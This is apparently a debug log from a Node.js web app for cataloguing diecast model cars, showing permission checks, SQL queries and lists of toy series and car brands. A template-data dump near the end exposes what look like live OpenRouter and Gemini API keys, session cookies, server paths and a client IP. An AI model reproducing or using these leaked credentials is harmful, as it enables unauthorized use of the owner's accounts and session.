      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:06:07.845Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T07:06:07.845Z server-connect:app Executing action step identify
2026-02-04T07:06:07.845Z server-connect:app options: { provider: 'security' }
2026-02-04T07:06:07.845Z server-connect:output identity: 1
2026-02-04T07:06:07.845Z server-connect:app Executing action step restrict
2026-02-04T07:06:07.845Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:06:07.845Z server-connect:output restrict: undefined
2026-02-04T07:06:07.845Z server-connect:app Executing action step condition
2026-02-04T07:06:07.846Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T07:06:07.846Z server-connect:app Executing action step insert
2026-02-04T07:06:07.846Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:06:07.846Z server-connect:output insert: { affected: 1, identity: 194 }
2026-02-04T07:06:07.846Z server-connect:output condition: undefined
2026-02-04T07:06:08.163Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:06:08.163Z server-connect:app Executing action step identify
2026-02-04T07:06:08.163Z server-connect:app options: { provider: 'security' }
2026-02-04T07:06:08.163Z server-connect:output identity: 1
2026-02-04T07:06:08.163Z server-connect:app Executing action step restrict
2026-02-04T07:06:08.163Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:06:08.164Z server-connect:output restrict: undefined
2026-02-04T07:06:08.164Z server-connect:app Executing action step paged
2026-02-04T07:06:08.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:06:08.165Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 61,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:06:23.132Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T07:06:23.132Z server-connect:app Executing action step identify
2026-02-04T07:06:23.132Z server-connect:app options: { provider: 'security' }
2026-02-04T07:06:23.132Z server-connect:output identity: 1
2026-02-04T07:06:23.132Z server-connect:app Executing action step restrict
2026-02-04T07:06:23.132Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:06:23.133Z server-connect:output restrict: undefined
2026-02-04T07:06:23.133Z server-connect:app Executing action step condition
2026-02-04T07:06:23.133Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T07:06:23.133Z server-connect:app Executing action step insert
2026-02-04T07:06:23.133Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T07:06:23.133Z server-connect:output insert: { affected: 1, identity: 195 }
2026-02-04T07:06:23.133Z server-connect:output condition: undefined
2026-02-04T07:06:23.527Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:06:23.527Z server-connect:app Executing action step identify
2026-02-04T07:06:23.527Z server-connect:app options: { provider: 'security' }
2026-02-04T07:06:23.528Z server-connect:output identity: 1
2026-02-04T07:06:23.528Z server-connect:app Executing action step restrict
2026-02-04T07:06:23.528Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:06:23.528Z server-connect:output restrict: undefined
2026-02-04T07:06:23.528Z server-connect:app Executing action step paged
2026-02-04T07:06:23.528Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:06:23.530Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 62,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:06:26.679Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:06:26.679Z server-connect:app Executing action step identify
2026-02-04T07:06:26.680Z server-connect:app options: { provider: 'security' }
2026-02-04T07:06:26.680Z server-connect:output identity: 1
2026-02-04T07:06:26.680Z server-connect:app Executing action step restrict
2026-02-04T07:06:26.680Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:06:26.680Z server-connect:output restrict: undefined
2026-02-04T07:06:26.680Z server-connect:app Executing action step paged
2026-02-04T07:06:26.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:06:26.681Z server-connect:output records: {
  offset: 50,
  limit: 25,
  total: 62,
  page: {
    offset: { first: 0, prev: 25, next: 50, last: 50 },
    current: 3,
    total: 3
  },
  data: [
    {
      name: 'Majorette Dream Italy Gift Set',
      id: 171,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Light Racer Gift Set',
      id: 172,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Porsche Edition Gift Set',
      id: 173,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Limited Edition 9 Gift Set',
      id: 174,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Ride-Ons',
      id: 178,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Euro',
      id: 179,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pantone',
      id: 180,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pop Culture',
      id: 181,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Black Edition Gift Set',
      id: 193,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Mercedes AMG Gift Set',
      id: 194,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Castheads Gift Set',
      id: 195,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:07:02.814Z server-connect:router Serving templateView /diecast
2026-02-04T07:07:02.814Z server-connect:app Executing action step identify
2026-02-04T07:07:02.814Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:02.814Z server-connect:output identity: 1
2026-02-04T07:07:02.814Z server-connect:app Executing action step restrict
2026-02-04T07:07:02.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:02.816Z server-connect:output restrict: undefined
2026-02-04T07:07:02.816Z server-connect:router Render template diecast
2026-02-04T07:07:02.816Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:07:03.203Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:07:03.204Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:07:03.206Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:07:03.207Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:07:03.208Z server-connect:app Executing action step identify
2026-02-04T07:07:03.208Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.208Z server-connect:output identity: 1
2026-02-04T07:07:03.208Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.208Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:03.208Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:07:03.209Z server-connect:output restrict: undefined
2026-02-04T07:07:03.209Z server-connect:app Executing action step select
2026-02-04T07:07:03.209Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:07:03.209Z server-connect:app Executing action step identify
2026-02-04T07:07:03.209Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.209Z server-connect:output identity: 1
2026-02-04T07:07:03.209Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.209Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:03.210Z server-connect:app Executing action step identify
2026-02-04T07:07:03.210Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.210Z server-connect:output identity: 1
2026-02-04T07:07:03.210Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.210Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:03.212Z server-connect:app Executing action step identify
2026-02-04T07:07:03.212Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.212Z server-connect:output identity: 1
2026-02-04T07:07:03.212Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.212Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:03.213Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:07:03.214Z server-connect:app Executing action step identify
2026-02-04T07:07:03.214Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.214Z server-connect:output identity: 1
2026-02-04T07:07:03.214Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.214Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:03.215Z server-connect:output restrict: undefined
2026-02-04T07:07:03.216Z server-connect:app Executing action step select
2026-02-04T07:07:03.216Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:07:03.217Z server-connect:output restrict: undefined
2026-02-04T07:07:03.217Z server-connect:app Executing action step select
2026-02-04T07:07:03.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:07:03.217Z server-connect:output restrict: undefined
2026-02-04T07:07:03.217Z server-connect:app Executing action step paged
2026-02-04T07:07:03.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:07:03.219Z server-connect:output restrict: undefined
2026-02-04T07:07:03.219Z server-connect:app Executing action step select
2026-02-04T07:07:03.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:07:03.220Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:07:03.221Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
